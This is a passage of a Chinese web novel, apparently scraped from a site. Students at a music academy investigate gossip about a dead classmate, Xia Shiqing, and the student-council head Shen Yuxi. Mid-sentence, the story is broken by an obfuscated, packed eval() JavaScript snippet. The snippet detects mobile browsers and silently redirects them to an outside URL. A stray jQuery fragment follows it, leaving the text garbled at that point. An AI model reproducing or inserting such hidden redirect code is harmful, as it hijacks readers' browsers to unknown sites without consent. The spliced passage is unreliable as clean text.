闻是非抬眼,发现自己身处卫生间附近,一墙之隔,里面有人在讨论夏诗情。
他听到另一个男声回:“少恶心人了,你们以为我愿意跟她搭档?烦死了,死都死不干净,明明跟我一点关系都没有,出事了都来问我干什么,又不是我害的。”
“好奇嘛。”
“那你们怎么不敢直接去问沈煜熙呢,沈煜熙被她勾引那么多次,不比谁都了解?”
“……”
那似乎是一个很有震慑力的名字,里面短暂噤声了。
不多时,交错的脚步声传出,越来越近,闻是非黑着脸,捏紧了拳头。
不管先出卫生间的是谁,他要先闷一拳,替夏诗情好好教训教训这几张脏嘴巴。
眨眼间有人影晃动,闻是非怒气冲冲看过去,红色中式校服穿在他身上,像极了一根即将引燃的炮仗。
忽然,一只手从背后而来,闻是非嘴巴被人捂住。
他错愕地回头,几乎同时,耳边“嘘”了一声,整个人被拉进卫生间外侧的保洁室。
咔哒一声,保洁室的门反锁,狭窄凹陷的小空间像天然声场,将外面脚步声无限放大。
蒲玉背部抵着门,对上闻是非惊诧又气恼的目光。
闻是非压着嗓子抓狂:“你坏我事!”
“嘘——”
蒲玉侧目,很顺手按住闻是非炸毛的头顶,把他脖子和目光转过去,示意他听外面。
闻是非啪的打掉蒲玉的手,耳朵贴上门边。
外面的脚步停在保洁室外不动了,透过毛玻璃,闻是非先是看到三条模糊的身影,他们一起转了身。
随后从卫生间走出另一个身影,明显不是一伙的。
“煜熙……”有人心虚的叫了声。
后面的人附和叫了声,尴尬道,“会长,你刚刚也在里面啊。”
一道悦耳清润的声音回:“嗯。在聊我?”
“呃没有,没聊什么。”
“没关系。”被称为会长的沈煜熙靠近了些,说,“所有人都好奇,可以理解。”
明明是很温柔的语气,闻是非莫名觉得,那几个人好像很怕对方。
沈煜熙说:“夏诗情虽然……但我希望谣言到此为止。”
“……好,好的。”
几个人八卦的压低音量:“会长,你是不是知道内幕?”
沈煜熙不希望继续讨论,说:“知道太多对你们不好,别问了,都回去上课吧。”
闻是非弯腰扒着门,仰头与蒲玉对视,杏仁眼懵懂地眨了眨。
“西洋院还有学生会?这么正规。”
蒲玉无语地默了一眼:“重点。”
闻是非当然听出来了——此人知道内幕。不过这个会长好像有一定威望,他不认为贸然去问就能得到答案。
闻是非:“你没发现他们对夏诗情的认知很奇怪?”
“比起他们,你才认识夏诗情多久。”蒲玉讲事实。
“……反正我觉得不对劲,支支吾吾的,明显心里有鬼。”闻是非看了眼电子手表,还记得自己要上课。
蒲玉知道闻是非又想生事,泼冷水道:“艺考倒计时三个月。”
最后这个学期没人敢耽误专业课,闻是非也一样,只好先按下复杂的心情。
外面脚步声渐渐离开,两个人从保洁室出来,道不同不相为谋,不约而同分道扬镳了。
走出去几步,闻是非突然回头:“喂。”
蒲玉站住,闻是非冲他抬巴:“别再替爷爷监视我,我好得很。”
蒲玉觉得对方的脑补很可笑:“你以为我跟踪你?”
“难道不是?”
“没那么闲。”
闻是非噎了一下,难不成误会了?他理直气壮冷哼,转过去摸出手机,不信邪地查了民乐院的总课程表。
9月26日上午09:30,《古琴——千年君子之音》名师讲座等你来!
特聘讲师:当代斫琴名师林淑岚教授
地点:圣音学院-莫扎特楼2层206号新媒体教室(原定风雅颂楼1503室,现已更改望周知)
蒲玉于身后出声:“用不用给你配只导盲犬。”
闻是非默默走开了,小瘸腿倒腾得飞快,略胜一筹的蒲玉嘴角微扬,不用看也知道对方气急败坏的表情。
专业课1个小时,最后这个学期要备战艺考,复习技巧曲,已经没新内容可学。
闻是非的唢呐老师监督他练满1小时后,说:“还是老毛病。”
闻是非揉面团子似的揉了揉腮帮,嘴巴挤出金鱼型。
他的启蒙来自于爷爷的班底,爷爷年轻时是省戏剧团的团长,老戏衰落后提早退休,手下养了一帮子专接红白事的唢呐班。
小时候这个伯教一下,那个叔教一下,闻是非学满了十成十的民间野路子,以至于进了学院派后,童子功总是纠不过来。
老师看他心不在焉,根本没成心改,说:“央院的考官可不惯你。”
其实闻是非打心里不认同,正经为自己鸣不平:“唢呐本来就是民俗乐器,迎喜送丧,灵活变奏是基本。全都吹成样板戏,死记硬背的,不反而糊弄人么,苦主花钱请事对得起人家么。”
“这里是课堂,你是要考试不是卖艺,到时候考官面前,你装也得装出样子。”
“好吧。”闻是非嘟着嘴,将唢呐收回匣子,说:“老师再见。”
借用别人的钢琴房,闻是非总觉得不自在,没自己的琴房好施展。老师离开后他只加练了两遍,从钢琴凳上起身,也打算下课了。
倏地,他目光一顿,钢琴侧边的金属名片映入眼帘。
——沈煜熙。
这么巧?他若有所思盯住几秒,身后蓦然响起推门声。
“同学。”
闻是非恍惚回头,一个气质斯文的西装校服帅哥走进来。
“民乐院的闻是非同学?”
“哎,我突然发现小唢呐又把我拉黑了。”古琴讲堂结束后,有人追上蒲玉说。
蒲玉闻声回头,见来人出现在西洋院并不意外。
“来蹭课。”
“嗯。”来人手持一支亮银色小号,与蒲玉并肩往外走,随口问:“又怎么他了?”
“没有。”真没有。
商云飞见怪不怪乐了一下:“他拉黑我21次,你拉黑我8次。我说能不能定个规矩,以后你俩开战,别拿我预警。”
这次还真不是,蒲玉觉得无妄之灾:“他拉黑你是因为你学铜管乐。”
“哦~威胁到管乐之王的地位了。”
听这位的口气,他跟蒲玉和闻是非是老熟人了。
学校是个微缩社会,小团体屡见不鲜,圣音就连西洋院的都曾有所耳闻,听过隔壁院唢呐鏖战古琴的传说。
——据说那二人从初中时就势同水火,圣音学院入学第一天,都没想到对方也会考上,没等新生典礼礼毕,当场就斗了一架,从此在民乐院拉开了长达三年的分庭抗礼。
闻是非与蒲玉恨乌及乌,连带对方的朋友也一同鄙视,能同时跟两个人都交友的——眼前的神人,商云飞,是唯一一个。
商云飞是民乐院最特殊的一个同学,民乐圈子的小明星,挂名在竹笛班,但不常回院里,八岁成名后就一直外出比赛,偶尔才回来。
他另一个特殊的地方,就是他很早就认识蒲玉和闻是非了,是少年宫同学……三个人在少年宫并称三神童,经常一起代表学校去比赛。
那时候关系还没这么僵,两个朋友不是鱼和熊掌,不需要做选择题。
商云飞出现在这里,显而易见,他又背叛了民乐,来西洋院偷师。
蒲玉瞅了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838657|211560||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼他手中的乐器,淡淡提醒:“收起来了。”
“知道。”商云飞一边走一边将小号塞进双肩包,取而代之的,掏出一支竹笛别在了腰间最晃眼的位置。
蒲玉没眼看,想起闻是非,不禁怀疑他们管乐是不是共用脑神经。
商云飞:“就得这么着,省得一群老眼昏花的又告我爸那去。”
这次他回来是备战艺考的,短时间内不打算离开,说:“我刚在校外租了房,放学去我那玩,给我暖暖房。”
“不去。”
“那我找小唢呐了。”
商云飞说着就摸手机,要把闻是非的好友加回来,一边叹气:“租房比宿舍舒服,练曲没人打扰,唯一缺点就是老小区没电梯,六楼。”
蒲玉神色一顿,缓缓转头。
有时候不用蒲玉开口说话,他的言语总是先一步出现在平静又生动的眼神里。
商云飞喜闻乐见:“诈你的,你要去我肯定不叫他。”
“别让他去。”蒲玉认真盯了商云飞一眼。
要不是熟知蒲玉为人,这听起来像挑拨离间。
商云飞笑笑:“知道,个小麻烦精,到时候不让你碰,还得我背他上下楼。”
出了西洋院琴楼,商云飞见四下已无人,迫不及待问:“我刚回来就遇上学校出命案,小唢呐的琴房查清楚了没?夏诗情跟他有关系没?”
蒲玉瞥过一眼:“无关。”
“那……”
“想听八卦找错人了。”
“他都把我拉黑了,我还找他,我贱呐?”商云飞看对方一副高贵冷艳的表情,也知道问不出什么,说:“先走了,待会儿有特训课,晚上再说。”
“等等。”蒲玉突然叫住了对方。
商云飞递了个迟疑的眼神。
鬼使神差的,蒲玉问:“你常混迹西洋院,夏诗情你知道多少?”
话刚出口就觉得自己有病,被某人传染了多管闲事,想收回已经晚了。
商云飞先瞄一眼四周,像是有什么不能大声说的:“我刚刚就想跟你说这个,还以为你不感兴趣。其实我是真怕小唢呐跟她有牵连。”
“怎么。”蒲玉掀眸。
“这个女孩……有点棘手。”商云飞模棱两可说,“风评不太好。”
“大概是半年前吧,夏诗情写的……咳,一首诗被当众传阅了。”
商云飞表情有些微妙的尴尬,很显然他知道内容。
“写的……挺开放的。”他斟酌道,“自那以后,夏诗情这个名字就成了一种,呃,形容词。你懂吧?”
“不懂。”蒲玉面无表情。
商云飞:“小唢呐见到过路小狗会叫什么?”
“……蒲玉。”
“那不得了,就是这个意思。”商云飞语气略带反感,“夏诗情路过时,他们喜欢推推搡搡来一句‘你老婆’,那群垃圾。”
“都怕自己是情诗男主角,也不撒泡尿照照。”
蒲玉眉头不展地听完,一阵见血问:“谁是第一个传阅人?”
商云飞突然咳了一声,清清嗓子,他们身后几个西洋乐院的同学擦肩而过。
等人走远了商云飞才缓缓道:“说出来你可能不信,没人知道是从谁那传出来的,那首诗就像凭空出现,一夜之间成了话题中心,都在猜男主角是谁。”
蒲玉看商云飞卖关子的表情:“但你知道?”
这就是最耐人寻味的地方了,商云飞拿乔:“哎哟快迟到了,你问了两个问题,我只能答一个,选吧。”
“……别学闻是非那套。”
“好吧,其实是同一个问题。这个人叫——”
“沈煜熙。”
闻是非看着来人,又对照钢琴上的名片,问:“对吧?”
他听出来了,是在保洁室时听到的那个会长的声音。